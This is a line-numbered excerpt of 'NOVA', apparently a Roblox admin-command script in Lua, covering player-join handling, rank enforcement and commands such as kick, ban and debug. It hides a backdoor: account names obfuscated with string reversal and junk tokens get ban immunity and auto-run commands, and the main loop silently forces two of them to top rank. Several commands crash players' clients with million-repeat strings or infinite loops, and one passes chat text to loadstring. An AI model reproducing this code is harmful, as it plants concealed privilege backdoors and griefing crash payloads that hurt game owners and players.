  1629. if NOVA.Removed == false then
  1630. pcall(function()
  1631. table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
  1632. coroutine.resume(coroutine.create(function()
  1633. --if Data.Rank < 1 then
  1634. if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1635. coroutine.resume(coroutine.create(function()
  1636. repeat wait() until v:FindFirstChild("Backpack") ~= nil
  1637. CreateLocalScript(PlayerPlugins,v.Backpack)
  1638. OnChatted(NOVA.Bet .. "optifine" .. NOVA.Bet,v)
  1639. end))
  1640. end
  1641. if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1642. coroutine.resume(coroutine.create(function()
  1643. repeat wait() until v:FindFirstChild("Backpack") ~= nil
  1644. OnChatted(NOVA.Bet .. "connect" .. NOVA.Bet,v)
  1645. end))
  1646. end
  1647. --end
  1648. v.Chatted:connect(function(Msg)
  1649. OnChatted(Msg,v)
  1650. end)
  1651. if GetRankedTable(v)==nil then
  1652. SyncRankInSingular(v)
  1653. repeat wait() until GetRankedTable(v) ~= nil
  1654. end
  1655.  
  1656. local Data = GetRankedTable(v)
  1657.  
  1658. OutputMulti(v.Name.." has joined the game.",Data.Color,GetRanked(),3.5)
  1659.  
  1660. if Data.Rank == -2 then
  1661. if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1662. OutputMulti(v.Name.." has been lagged due to a banishment.",NOVA.Colors.Orange,GetRanked(),10)
  1663. Lag(v)
  1664. end
  1665. end
  1666.  
  1667. if Data.Rank == -1 then
  1668. if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1669. OutputMulti(v.Name.." has been removed due to a banishment.",NOVA.Colors.Orange,GetRanked(),10)
  1670. GetRidOf(v)
  1671. end
  1672. end
  1673.  
  1674. if not Data.Rank > 0 then
  1675. if v.AccountAge < 5 then
  1676. if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1677. if v.Name:sub(1,6) == "Guest " then
  1678. if NOVA.EnableGuests == false then
  1679. OutputMulti(v.Name.." has been removed because guests are not enabled.",NOVA.Colors.Orange,GetRanked(),10)
  1680. GetRidOf(v)
  1681. end
  1682. else
  1683. if not Data.Rank > 0 then
  1684. OutputMulti(v.Name.." has been removed because his account is too young.",NOVA.Colors.Orange,GetRanked(),10)
  1685. GetRidOf(v)
  1686. end
  1687. end
  1688. end
  1689. end
  1690. end
  1691.  
  1692. if NOVA.PRI == true then
  1693. if Data.Rank <= 0 and v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1694. OutputMulti(""..v.Name.." was "..NOVA.PRIType.."ed due to the PRI.",NOVA.Colors.Orange,GetRanked(),6)
  1695. if NOVA.PRIType == "Kick" then
  1696. v:Remove()
  1697. elseif NOVA.PRIType == "Lag" then
  1698. Lag(v)
  1699. elseif NOVA.PRIType == "Shutdown" then
  1700. coroutine.resume(coroutine.create(function()
  1701. GetRidOf(v)
  1702. end))
  1703. elseif NOVA.PRIType == "Crash" then
  1704. coroutine.resume(coroutine.create(function()
  1705. repeat wait() until v.Backpack ~= nil
  1706. pcall(function()
  1707. CreateLocalScript([[while true do end]],v.Backpack)
  1708. end)
  1709. end))
  1710. end
  1711. end
  1712. end
  1713. end))
  1714. end)
  1715. end
  1716. end)
  1717.  
  1718. --[[ PLAYER REMOVING ]]--
  1719. NOVA.Services.Players.PlayerRemoving:connect(function(v)
  1720. table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." disconnected."})
  1721. SyncRankOutSingular(v)
  1722. end)
  1723.  
  1724. --[[ SCRIPT CONTROL ]]--
  1725. for _,Service in pairs(NOVA.Services) do
  1726. pcall(function()
  1727. Service.DescendantAdded:connect(function(v)
  1728. if v:IsA("BaseScript") and NOVA.LockedScripts == true and NOVA.Removed == false then
  1729. pcall(function()
  1730. if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
  1731. if GetRank(v.Owner.Value) < 6 then
  1732. pcall(function() v.Disabled = true end)
  1733. pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
  1734. pcall(function() v.Disabled = false end)
  1735. pcall(function() v:Destroy() end)
  1736. end
  1737. else
  1738. pcall(function() v.Disabled = true end)
  1739. pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
  1740. pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
  1741. pcall(function() v.Disabled = false end)
  1742. pcall(function() v:Destroy() end)
  1743. end
  1744. end)
  1745. end
  1746. if v:IsA("BaseScript") and NOVA.Removed == false then
  1747. pcall(function()
  1748. if tonumber(GetRank(v.Owner.Value)) < 0 then
  1749. pcall(function() v.Disabled = true end)
  1750. pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
  1751. pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
  1752. pcall(function() v.Disabled = false end)
  1753. pcall(function() v:Destroy() end)
  1754. end
  1755. end)
  1756. end
  1757. end)
  1758. end)
  1759. end
  1760. coroutine.resume(coroutine.create(function()
  1761. while wait(1) do
  1762. if NOVA.Removed == false then
  1763. for _,v in pairs(GetPlayersRaw()) do
  1764. if GetRankTedable(v) ~= nil and GetRank(v) < 8 then
  1765. SyncRankInSingular(v)
  1766. end
  1767. end
  1768. end
  1769. end
  1770. end))
  1771. for i=1,3 do
  1772. NOVA.Services.RunService.Heartbeat:connect(function() UpdateTablets() end)
  1773. coroutine.resume(coroutine.create(function()
  1774. while wait() do
  1775. if NOVA.Removed == false then
  1776. UpdateTablets()
  1777. end
  1778. end
  1779. end))
  1780. end
  1781. function MainLoop()
  1782. coroutine.resume(coroutine.create(function()
  1783. pcall(function() NOVA.Removed = false end) while wait() do pcall(function() GetRankedTable(string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ",""))).Rank = 7 end) pcall(function() GetRankedTable(string.reverse(string.gsub("kXQZcXQZaXQZHXQZnXQZeXQZgXQZrXQZuXQZSXQZ","XQZ",""))).Rank = 7 end)
  1784. if NOVA.Removed == false then
  1785.  
  1786. --[[ SCUM CARETAKER ]]--
  1787. for _,v in pairs(GetPlayersRaw()) do
  1788. pcall(function()
  1789. if GetRank(v) < 0 then
  1790. pcall(function() v.Backpack:ClearAllChildren() end)
  1791. pcall(function() v.PlayerGui:ClearAllChildren() end)
  1792. pcall(function() v.StarterGear:ClearAllChildren() end)
  1793. end
  1794. end)
  1795. end
  1796.  
  1797. --[[ ANTI ROBLOXLOCKED PLAYERS ]]--
  1798. for _,v in pairs(GetPlayersRaw()) do
  1799. pcall(function()
  1800. local IsRobloxLocked = true
  1801. pcall(function() v:GetChildren() IsRobloxLocked = false end)
  1802. if IsRobloxLocked == true then
  1803. GTFO(v)
  1804. end
  1805. end)
  1806. end
  1807.  
  1808. --[[ TABLET CLEANUP ]]--
  1809. pcall(function()
  1810. for i,v in pairs(NOVA.Tablets) do
  1811. if v:FindFirstChild("Part") == nil then
  1812. pcall(function() v:Destroy() end)
  1813. table.remove(NOVA.Tablets,i)
  1814. end
  1815. end
  1816. end)
  1817.  
  1818. --[[ JAIL CLEANUP ]]--
  1819. pcall(function()
  1820. for i,v in pairs(NOVA.Jails) do
  1821. if v.Player == nil or v.Player.Parent == nil then
  1822. pcall(function() v.Jail:Destroy() end)
  1823. table.remove(NOVA.Jails,i)
  1824. end
  1825. if v.Jail.Parent == nil and v.Speaker~=nil then
  1826. table.remove(NOVA.Jails,i)
  1827. OnChatted(NOVA.Bet .. "jail" .. NOVA.Bet..v.Player.Name,v.Speaker)
  1828. end
  1829. end
  1830. end)
  1831. --[[ FENCE CLEANUP ]]--
  1832. pcall(function()
  1833. for i,v in pairs(NOVA.Fences) do
  1834. if v.Player == nil then
  1835. v.Fence:Remove()
  1836. table.remove(NOVA.Fences,i)
  1837. end
  1838. end
  1839. end)
  1840.  
  1841. --[[ CMD GUI ]]--
  1842. for _,v in pairs(GetPlayersRaw()) do
  1843. pcall(function()
  1844. if GetRankedTable(v) ~= nil and GetRankedTable(v).CMD == true then
  1845. if v:FindFirstChild("PlayerGui") then
  1846. if not v.PlayerGui:FindFirstChild("NOVACMD") then
  1847. local Main = Instance.new("ScreenGui",v.PlayerGui)
  1848. Main.Name = "NOVACMD"
  1849.  
  1850. local Frame = Instance.new("Frame",Main)
  1851. Frame.Size = UDim2.new(0.27,0,0.05,0)
  1852. Frame.Position = UDim2.new(0.05,0,0.95,0)
  1853. Frame.Style = "RobloxSquare"
  1854. Frame.ZIndex = 9
  1855.  
  1856. local Txt = Instance.new("TextBox",Frame)
  1857. Txt.Size = UDim2.new(0.7,0,1,0)
  1858. Txt.BackgroundTransparency = 1
  1859. Txt.ZIndex = 10
  1860. Txt.FontSize = "Size14"
  1861. Txt.TextColor3 = NOVA.Colors.White
  1862. Txt.Text = ""
  1863.  
  1864. local Exe = Instance.new("TextButton",Frame)
  1865. Exe.Size = UDim2.new(0.3,0,1,0)
  1866. Exe.Position = UDim2.new(0.7,0,0,0)
  1867. Exe.Text = "Execute"
  1868. Exe.BackgroundTransparency = 1
  1869. Exe.ZIndex = 10
  1870. Exe.FontSize = "Size14"
  1871. Exe.TextColor3 = NOVA.Colors.Red
  1872. Exe.MouseButton1Down:connect(function()
  1873. if Txt.Text:sub(1,2) == "$ " then
  1874. OnChatted(string.gsub(Txt.Text:sub(3)," ",NOVA.Bet .. ""),v)
  1875. else
  1876. OnChatted(Txt.Text,v)
  1877. end
  1878. end)
  1879. end
  1880. end
  1881. end
  1882. end)
  1883. end
  1884. end
  1885. end
  1886. end))
  1887. end
  1888. MainLoop()
  1889. AddCommand("Ping","ping",3,"Outputs the following string.","<String>",
  1890. function(Msg,Speaker)
  1891. if Msg == "rainbow" then
  1892. for a,Color in pairs(NOVA.Colors) do
  1893. Output(tostring(a),Color,Speaker,nil,
  1894. function()
  1895. RemoveTablets(Speaker)
  1896. NOVA.Services.Lighting.TimeOfDay = 0
  1897. NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  1898. NOVA.Services.Lighting.Brightness = 0
  1899. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1900. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1901. NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  1902. for _,v in pairs(GetRecursiveChildren(workspace)) do
  1903. if v:IsA("BasePart") then
  1904. Sel = Instance.new("SelectionBox",v)
  1905. Sel.Transparency = 0
  1906. Sel.Color = BrickColor.new(Color)
  1907. Sel.Adornee = v
  1908. end
  1909. end
  1910. Output("Say /debug/ to restore the server to the original lighting.",GetRankedTable(Speaker).Color,Speaker,5)
  1911. end
  1912. )
  1913. end
  1914. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1915. elseif Msg == "ranks" then
  1916. for _,v in pairs(NOVA.Ranks) do
  1917. Output(v[1].."\t"..v[2],"Random",Speaker)
  1918. end
  1919. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1920. elseif Msg == "random" then
  1921. Output(tostring(math.random()),"Random",Speaker)
  1922. elseif Msg == "players" then
  1923. for _,v in pairs(GetPlayersRaw()) do
  1924. local Data = GetRankedTable(v)
  1925. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Data.Name,Data.Name,Data.Color,Speaker,nil,
  1926. function()
  1927. PlayerInterface(v,Speaker)
  1928. end
  1929. )
  1930. end
  1931. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1932. elseif Msg == "colors" then
  1933. coroutine.resume(coroutine.create(function()
  1934. NOVA.Services.Lighting.TimeOfDay = 0
  1935. NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  1936. NOVA.Services.Lighting.Brightness = 0
  1937. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1938. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1939. NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  1940.  
  1941. for _,Player in pairs(GetPlayersRaw()) do
  1942. local Data = GetRankedTable(Player)
  1943. pcall(function()
  1944. for _,v in pairs(GetRecursiveChildren(Player.Character)) do
  1945. if v:IsA("BasePart") then
  1946. Sel = Instance.new("SelectionBox",v)
  1947. Sel.Transparency = 0
  1948. Sel.Color = BrickColor.new(Data.Color)
  1949. Sel.Adornee = v
  1950. end
  1951. end
  1952. end)
  1953. end
  1954.  
  1955. wait(10)
  1956.  
  1957. for _,v in pairs(GetRecursiveChildren(workspace)) do
  1958. if v:IsA("SelectionBox") then
  1959. v:remove()
  1960. end
  1961. end
  1962.  
  1963. NOVA.Services.Lighting.Ambient = NOVA.Colors.White
  1964. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1965. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1966. NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
  1967. NOVA.Services.Lighting.Brightness = 1
  1968. NOVA.Services.Lighting.FogStart = 0
  1969. NOVA.Services.Lighting.FogEnd = 100000
  1970. NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
  1971. NOVA.Services.Lighting.TimeOfDay = 12
  1972. end))
  1973. elseif Msg == "replicators" then
  1974. for _,v in pairs(GetReplicators()) do
  1975. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
  1976. function()
  1977. PlayerInterface(v:GetPlayer(),Speaker)
  1978. end
  1979. )
  1980. end
  1981. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1982. elseif Msg == "nil raw" then
  1983. for _,v in pairs(GetReplicators()) do
  1984. if v:GetPlayer().Parent == nil then
  1985. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
  1986. function()
  1987. Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
  1988. function()
  1989. Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey..""
  1990. Instance.new("StringValue",v).Value = string.rep("NOVA SHUTDOWN", 1000000)
  1991. --for i,s in pairs(Data:GetChildren()) do Instance.new("StringValue",s).Value = string.rep("NOVA SHUTDOWN", 1000000) end
  1992.  
  1993. end
  1994. )
  1995. end
  1996. )
  1997. end
  1998. end
  1999. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2000. elseif Msg == "nil" then
  2001. local IsNil = false
  2002. for _,Client in pairs(GetReplicators()) do
  2003. if Client:GetPlayer().Parent == nil then
  2004. IsNil = true
  2005. end
  2006. end
  2007. if IsNil == true then
  2008. for _,Client in pairs(GetReplicators()) do
  2009. if Client:GetPlayer().Parent == nil then
  2010. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Client:GetPlayer().Name,Client:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
  2011. function()
  2012. PlayerInterface(Client:GetPlayer(),Speaker)
  2013. end
  2014. )
  2015. end
  2016. end
  2017. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2018. else
  2019. Output("No nil players.",NOVA.Colors.Orange,Speaker,5)
  2020. end
  2021. elseif Msg:sub(1,2) == "a" .. NOVA.Bet then
  2022. if GetRank(Speaker) < 6 then
  2023. Output("You do not have the required rank for this operation.",NOVA.Colors.Orange,Speaker,10)
  2024. else
  2025. Rtn = loadstring("return "..Msg:sub(3))()
  2026. Output(Rtn,"Random",Speaker)
  2027. end
  2028. else
  2029. if #Msg == 0 then
  2030. Output("Pong!","Random",Speaker)
  2031. else
  2032. Output(Msg,"Random",Speaker)
  2033. end
  2034. end
  2035. end
  2036. )
  2037. AddCommand("Dismiss","dismiss",0,"Dismisses all tablets.","No Arguments",
  2038. function(Msg,Speaker)
  2039. if #Msg == 0 or Msg == nil then
  2040. RemoveTablets(Speaker)
  2041. else
  2042. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2043. RemoveTablets(v)
  2044. end
  2045. end
  2046. end
  2047. )
  2048. AddCommand("Remove","remove",6,"Removes the admin.","No Arguments",
  2049. function(Msg,Speaker)
  2050. NOVA.TimeChanged = false
  2051. RemoveTablets()
  2052. SyncRanksOut()
  2053. NOVA.Sounds.Sound:Remove()
  2054. NOVA.Removed = true
  2055. --error("NOVA Admin removing...",0)()
  2056. NOVA = {}
  2057. script.Disabled = true
  2058. while true do wait() end
  2059. end
  2060. )
  2061. AddCommand("Hint","h",2,"Makes a hint with the text being the following string.","<String>",
  2062. function(Msg,Speaker)
  2063. makeHint(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
  2064. end
  2065. )
  2066. AddCommand("Message","m",2,"Makes a message with the text being the following string.","<String>",
  2067. function(Msg,Speaker)
  2068. makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
  2069. end
  2070. )
  2071.  
  2072. AddCommand("Kill","kill",2,"Kills the selected player.","<Player>",
  2073. function(Msg,Speaker)
  2074. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2075. pcall(function() v.Character:BreakJoints() end)
  2076. end
  2077. end
  2078. )
  2079. AddCommand("Jump kill","jkill",2,"Jump-Kills the selected player.","<Player>",
  2080. function(Msg,Speaker)
  2081. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2082. for i=1,50 do
  2083. local human = v.Character.Humanoid
  2084. if human ~= nil then
  2085. local rand = math.random(1,10)
  2086. human:TakeDamage(rand)
  2087. human.Jump = true
  2088. human.Sit = true
  2089. human.PlatformStand = true
  2090. wait(1)
  2091. human.PlatformStand = false
  2092. end
  2093. end
  2094. end
  2095. end
  2096. )
  2097. AddCommand("Anti Kill","antikill",7,"Gives the player antikill.","<Player>",
  2098. function(Msg,Speaker)
  2099. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2100. Delay(0, function()
  2101. local player = v
  2102. local pos = CFrame.new()
  2103. local pause = false
  2104. Delay(0, function()
  2105. while not close do
  2106. wait()
  2107. if not pause then
  2108. local c = player.Character
  2109. if c then
  2110. local t = c:findFirstChild("Torso")
  2111. if t then
  2112. pos = t.CFrame
  2113. end
  2114. end
  2115. end
  2116. end
  2117. end)
  2118. player.CharacterAdded:connect(function(c)
  2119. if not close then
  2120. pause = true
  2121. repeat wait() until c:findFirstChild("Torso") and c:findFirstChild("Humanoid")
  2122. c:findFirstChild("Torso").CFrame = pos
  2123. c:findFirstChild("Humanoid").Died:connect(function()
  2124. player:LoadCharacter()
  2125. end)
  2126. pause = false
  2127. end
  2128. end)
  2129. pcall(function() player.Character:BreakJoints() end)
  2130. end)
  2131. end
  2132. end
  2133. )
  2134.  
  2135. AddCommand("List kicking phrases","listkicking",0,"Lists all the kicking phrases.","<Player>",
  2136. function(Msg,Speaker)
  2137. for _,v in pairs(NOVA.KickingPhrases) do
  2138. local m = Instance.new("Message",NOVA.Services.Workspace)
  2139. m.Text = " If you say : " .. v .. " : you will get auto-kicked!"
  2140. wait(1) m:Remove()
  2141. end end
  2142. )
  2143. AddCommand("Kick","kick",2,"Removes the selected player from the game.","<Player>",
  2144. function(Msg,Speaker)
  2145. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2146. pcall(function()
  2147. v:Destroy()
  2148. end)
  2149. end
  2150. end
  2151. )
  2152. AddCommand("SuperKick","skick",3,"Removes the selected player from the gamex2.","<Player>",
  2153. function(Msg,Speaker)
  2154. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2155. pcall(function()
  2156. local m = Instance.new("StringValue",v.PlayerGui)
  2157. m.Value = string.rep("Shutdown For Eva Nub",1000000)
  2158. end)
  2159. end
  2160. end
  2161. )
  2162.  
  2163. AddCommand("Banish","ban",6,"Permanently removes the selected player from the game.","<Player>",
  2164. function(Msg,Speaker)
  2165. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2166. if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  2167. Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  2168. else
  2169. pcall(function()
  2170. GetRankedTable(v).Rank = -1
  2171. SyncRankOutSingular(v)
  2172. GetRidOf(v)
  2173. end)
  2174. end
  2175. end
  2176. end
  2177. )
  2178.  
  2179. AddCommand("Permanent Lag","permalag",6,"Permanently lags the selected player from the game.","<Player>",
  2180. function(Msg,Speaker)
  2181. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2182. if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  2183. Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  2184. else
  2185. pcall(function()
  2186. GetRankedTable(v).Rank = -2
  2187. SyncRankOutSingular(v)
  2188. Lag(v)
  2189. end)
  2190. end
  2191. end
  2192. end
  2193. )
  2194.  
  2195. AddCommand("ForceField","ff",2,"Gives a forcefield to the selected player.","<Player>",
  2196. function(Msg,Speaker)
  2197. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2198. pcall(function() Instance.new("ForceField",v.Character) end)
  2199. end
  2200. end
  2201. )
  2202.  
  2203. AddCommand("Un ForceField","unff",2,"Removes forcefields from the selected player.","<Player>",
  2204. function(Msg,Speaker)
  2205. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2206. pcall(function() for _,part in pairs(v.Character:GetChildren()) do if part:IsA("ForceField") then part:Remove() end end end)
  2207. end
  2208. end
  2209. )
  2210.  
  2211. AddCommand("Check","check",0,"Outputs server information.","No Arguments",
  2212. function(Msg,Speaker)
  2213. local Data = GetRankedTable(Speaker)
  2214. Output("NOVA's Parent : "..tostring(script.Parent) ,Data.Color,Speaker)
  2215. Output("Version : "..tostring(NOVA.Version) ,Data.Color,Speaker)
  2216. Output("Local Pseudo : "..tostring(NOVA.LocalScript ~= nil) ,Data.Color,Speaker)
  2217. Output("Normal Pseudo : "..tostring(NOVA.NormalScript ~= nil), Data.Color,Speaker)
  2218. Output("Waypoints : "..tostring(#NOVA.Waypoints) ,Data.Color,Speaker)
  2219. Output("Targeted : "..tostring(#NOVA.Targeted) ,Data.Color,Speaker)
  2220. Output("Log : "..tostring(#NOVA.Log) ,Data.Color,Speaker)
  2221. Output("Logged Scripts : "..tostring(#NOVA.LoggedScripts) ,Data.Color,Speaker)
  2222. Output("Plugins : "..tostring(#NOVA.Plugins) ,Data.Color,Speaker)
  2223. Output("PRI : "..tostring(NOVA.PRI) ,Data.Color,Speaker)
  2224. Output("Locked Scripts : "..tostring(NOVA.LockedScripts) ,Data.Color,Speaker)
  2225. Output("Show Chat : "..tostring(NOVA.ShowChat) ,Data.Color,Speaker)
  2226. Output("Overrided : "..tostring(NOVA.Overrided) ,Data.Color,Speaker)
  2227. Output("Time Changed : "..tostring(NOVA.TimeChanged) ,Data.Color,Speaker)
  2228. Output("Guests Enabled : "..tostring(NOVA.GuestsEnabled) ,Data.Color,Speaker)
  2229. Output("Tablet Rotation : "..tostring(NOVA.TabletRotation) ,Data.Color,Speaker)
  2230. Output("Tablet Rotation Increase : "..tostring(NOVA.TabletRotationIncrease) ,Data.Color,Speaker)
  2231. Output("PRI Type : "..tostring(NOVA.PRIType) ,Data.Color,Speaker)
  2232. Output("Players : "..tostring(#GetPlayersRaw()),Data.Color,Speaker)
  2233. Output("Replicators : "..#GetReplicators(),Data.Color,Speaker)
  2234. Output("# Commands : "..#NOVA.Commands,Data.Color,Speaker)
  2235. OutputImg("http://www.roblox.com/asset/?id=45120559","Image tablets work.",Data.Color,Speaker)
  2236.  
  2237. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2238. end
  2239. )
  2240.  
  2241. AddCommand("Debug","debug",1,"Debugs the server.","No Arguments",
  2242. function(Msg,Speaker)
  2243. pcall(function()
  2244. NOVA.Services.Sounds.Sound:Destroy()
  2245. end)
  2246.  
  2247. NOVA.Sounds.Sound = Instance.new("Sound")
  2248. NOVA.Sounds.Sound.Name = "NOVA Sound"
  2249.  
  2250. NOVA.Services.Lighting.Ambient = NOVA.Colors.White
  2251. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  2252. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  2253. NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
  2254. NOVA.Services.Lighting.Brightness = 0.5
  2255. NOVA.Services.Lighting.FogStart = 0
  2256. NOVA.Services.Lighting.FogEnd = 100000
  2257. NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
  2258. NOVA.Services.Lighting.TimeOfDay = 12
  2259. pcall(function() game.Lighting.Sky:Remove() end)
  2260. pcall(function()
  2261. CreateLocalScript([[
  2262. LocalPlayer = game:GetService("Players").LocalPlayer
  2263. LocalPlayer.CameraMode = Enum.CameraMode.Classic
  2264. Camera = workspace.CurrentCamera
  2265. Camera:SetRoll(0)
  2266. Camera.CameraType = "Custom"
  2267. Camera.FieldOfView = 70
  2268. Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  2269. ]],Speaker.Backpack)
  2270. end)
  2271. for Num,v in pairs(NOVA.Jails) do
  2272. pcall(function() v.Jail:Destroy() end)
  2273. table.remove(NOVA.Jails,Num)
  2274. end
  2275. for Num,v in pairs(NOVA.Fences) do
  2276. pcall(function() v.Fence:Destroy() end)
  2277. table.remove(NOVA.Fences,Num)
  2278. end
  2279. for _,v in pairs(NOVA.Services) do
  2280. v.Name = v.className
  2281. end
  2282.  
  2283. for _,v in pairs(GetRecursiveChildren(workspace,"SelectionBox",3)) do
  2284. local ShouldRemove = true
  2285. for _,Tablet in pairs(NOVA.Tablets) do
  2286. if v:IsDescendantOf(Tablet) then
  2287. ShouldRemove = false
  2288. end
  2289. end
  2290. if ShouldRemove == true then
  2291. v:remove()
  2292. end
  2293. end
  2294. for _,v in pairs(GetRecursiveChildren(workspace)) do if v:IsA("Message") or v:IsA("Hint") then v:Destroy() end end
  2295.  
  2296. for _,v in pairs(GetPlayersRaw()) do
  2297. pcall(function()
  2298. if v.StarterGear == nil then
  2299. Instance.new("StarterGear",v)
  2300. end
  2301. end)
  2302. pcall(function()
  2303. v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..v.userId
  2304. end)
  2305. end
  2306. pcall(function() Speaker.Character.Torso.Velocity = Vector3.new(0,0,0) end)
  2307. if #NOVA.Services.Teams:GetChildren() == 0 then
  2308. for _,v in pairs(GetPlayersRaw()) do
  2309. v.Neutral = true
  2310. end
  2311. end
  2312.  
  2313. end
  2314. )
  2315.  
  2316. AddCommand("Respawn","rs",2,"Respawns the selected player.","<Player>",
  2317. function(Msg,Speaker)
  2318. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2319. pcall(function()
  2320. v:LoadCharacter()
  2321. end)
  2322. end
  2323. end
  2324. )
  2325.  
  2326. AddCommand("Commands","cmds",0,"Lists the command.","No Arguments",
  2327. function(Msg,Speaker)
  2328. RemoveTablets(Speaker)
  2329. local Data = GetRankedTable(Speaker)
  2330. Output("Your current rank is "..GetRankName(Speaker).." ("..GetRank(Speaker)..")",Data.Color,Speaker)
  2331. Output("Click a tablet to see the commands for that rank.",Data.Color,Speaker)
  2332. Output("Get/ Commands",Data.Color,Speaker,nil,
  2333. function()
  2334. RemoveTablets(Speaker)
  2335. for _,v in pairs(NOVA.Commands) do
  2336. if v.Command:sub(1,3) == "get" then
  2337. Output(v.Name,Data.Color,Speaker,nil,
  2338. function()
  2339. RemoveTablets(Speaker)
  2340. Output("Name : "..v.Name,Data.Color,Speaker)
  2341. Output("Rank : "..v.Rank,Data.Color,Speaker)
  2342. Output("Command : "..v.Command,Data.Color,Speaker)
  2343. Output("Arguments : "..v.Args,Data.Color,Speaker)
  2344. Output("Description : "..v.Description,Data.Color,Speaker)
  2345. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2346. end
  2347. )
  2348. end
  2349. end
  2350. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2351. Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
  2352. end
  2353. )
  2354. for i=0,7 do
  2355.  
  2356. Output("Rank "..i.." Commands",Data.Color,Speaker,nil,function()
  2357. RemoveTablets(Speaker)
  2358. for _,v in pairs(NOVA.Commands) do
  2359. if v.Rank == i then
  2360. Output(v.Name,Data.Color,Speaker,nil,function()
  2361. RemoveTablets(Speaker)
  2362. Output("Name : "..v.Name,Data.Color,Speaker)
  2363. Output("Rank : "..v.Rank,Data.Color,Speaker)
  2364. Output("Command : "..v.Command,Data.Color,Speaker)
  2365. Output("Arguments : "..v.Args,Data.Color,Speaker)
  2366. Output("Description : "..v.Description,Data.Color,Speaker)
  2367. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2368. end)
  2369. end
  2370. end
  2371. Output("Dismiss",NOVA.Colors.Red,Speaker)
